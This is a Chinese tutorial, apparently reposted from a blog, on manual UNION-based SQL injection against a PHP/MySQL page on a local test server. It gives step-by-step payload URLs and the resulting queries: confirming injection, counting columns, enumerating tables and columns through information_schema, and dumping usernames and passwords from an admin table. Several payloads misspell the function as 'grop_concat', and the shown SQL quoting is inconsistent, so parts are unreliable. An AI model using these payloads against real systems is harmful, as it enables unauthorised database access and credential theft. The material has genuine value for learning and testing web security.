php+mysql 注入基本过程
當(dāng)mysql版本>5.0時我們只需要訪問information_schema庫即可查詢數(shù)據(jù)庫的相關(guān)概要信息,
而對于<5.0的版本則需要爆破,今天我們測試的環(huán)境是mysql 5.5.40,對于小于5.0的mysql不建議手工測試,
可以使用slqmap等注入工具輔助,成功率在于字典的大小。
在MySQL中,把 information_schema 看作是一個數(shù)據(jù)庫,確切說是信息數(shù)據(jù)庫。
其中保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。
如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán) 限等。
測試環(huán)境:id并沒有進(jìn)行任何過濾處理從而造成典型的GET數(shù)字型注入
1.驗(yàn)證注入:
and 1=1
url:http://127.0.0.1/test.php?id=9 and 1=1
sql語句:SELECT * FROM article WHERE id='9 and 1=1'
返回正常
and 1=2
url:http://127.0.0.1/test.php?id=9 and 1=2
sql語句:SELECT * FROM article WHERE id='9 and 1=2'
出錯
2.判斷字段數(shù):
2.1order by查詢
url:http://127.0.0.1/test.php?id=9 order by 1,2,3,4
sql語句:SELECT * FROM article WHERE id = 90 order by 1,2,3,4
order by查詢:order by在sql語句中是對結(jié)果集的指定列進(jìn)行排序,
比如我們想讓結(jié)果集按照第一列排序就是 order by 1 按照第二列排序 order by 2 依次類推,
按照這個原理我們來判斷他的字段數(shù),如果我們按照他的第1列進(jìn)行排序數(shù)據(jù)庫會返回正常,
但是當(dāng)我們按照第100列排序,但是數(shù)據(jù)庫中并不存在第100列,從而報錯。
如:當(dāng)我們測試到7時數(shù)據(jù)庫報錯,說明該表只有6個字段
2.2UNION SELECT 聯(lián)合查詢
url:http://127.0.0.1/test.php?id=9 union select null,null,null,null
sql語句:SELECT * FROM article WHERE id = 90 union select null,null,null,null
UNION SELECT 聯(lián)合查詢:可以用于一個或多個SELECT的結(jié)果集,但是他有一個條件,
就是兩個select查詢語句的查詢必須要有相同的列才可以執(zhí)行,利用這個特性我們可以進(jìn)行對比查詢,
也就是說當(dāng)我們union select的列與它查詢的列相同時,頁面返回正常。
如:當(dāng)字段為6個時頁面返回正常,而大于或小于字段數(shù)時都會報錯。
解決兩個小問題:
問題一:大部分程序只會調(diào)用數(shù)據(jù)庫查詢的第一條返回(我們這個也是),而通過聯(lián)合查詢出的數(shù)據(jù)中,
我們想看到的數(shù)據(jù)是在第二條中,如果我們想看到我們想要的數(shù)據(jù)有兩種方法,第一種是讓第一條數(shù)據(jù)返回假,
第二種是通過sql語句直接返回我們想要的數(shù)據(jù)。
方法一:我們讓第一個查詢的結(jié)果始終為假
url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null
結(jié)果:返回為什么什么也沒有呢 因?yàn)槲覀兊牡诙€查詢中并沒有查詢到什么 返回為NULL 自然就什么也沒有了
我們把語句放在mysql中看一下返回結(jié)果:
方法二:通過limit語句,limit在mysql中是用來分頁的,我們也可以通過他拿到我們想要的結(jié)果集
url:http://127.0.0.1/test.php?id=9 and 1=2 union select null,null,null,null,null,null limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select null,null,null,null,null,null limit 1,1
返回也是空,同上面結(jié)果一樣
問題二:哪個列中的數(shù)據(jù)是在頁面中顯示出來的,可能有一些列中的數(shù)據(jù)只是用于后臺程序?qū)?shù)據(jù)處理使用,
并不會在前臺顯示,所以我們需要判斷哪個字段我們可以看到。如圖,我們通過數(shù)字代替了NULL進(jìn)行查詢,
確定了2,3,4,5 四個字段可以在頁面中顯示。
回答一下為什么我們不一開始就是用數(shù)字,因?yàn)閡nion select 不僅要求列的數(shù)量相同,同時數(shù)據(jù)類型也要相似。
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,2,3,4,5,6 limit 1,1
3.查詢庫名:
這里我們直接使用mysql自帶函數(shù)database()查詢 得到庫名:test
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,database(),3,4,5,6 limit 1,1
結(jié)果:顯示出test
4.查表名:
這里就用到了我們一開始說的information_schema庫,查表名我們主要用到的是TABLES表。
這里我們用到了group_concat它可以返回查詢的所有結(jié)果,因?yàn)槲覀冃枰ㄟ^命名判斷該我們需要的敏感數(shù)據(jù)。
這里我們的目標(biāo)是admin表。
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='test'
結(jié)果:顯示出所有表名,第一個為admin
5.查字段:
這里同樣使用information_schema庫,這里使用的是columns表。得到字段id,username,password
url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='test' and table_name='admin'
結(jié)果:id,username,password
6.查數(shù)據(jù):
最終目標(biāo)就出來啦!
url:url:http://127.0.0.1/test.php?id=9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
sql:sql語句:sql語句:SELECT * FROM article WHERE id = 9 and 1=2 union select 1,grop_concat(id,username,password),3,4,5,6 from admin
結(jié)果就出來了
?
轉(zhuǎn)載于:https://www.cnblogs.com/christychang/p/6071340.html
總結(jié)
以上是生活随笔為你收集整理的php+mysql 注入基本过程的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: C# 参数按照ASCII码从小到大排序(
- 下一篇: reactNative 打包那些事儿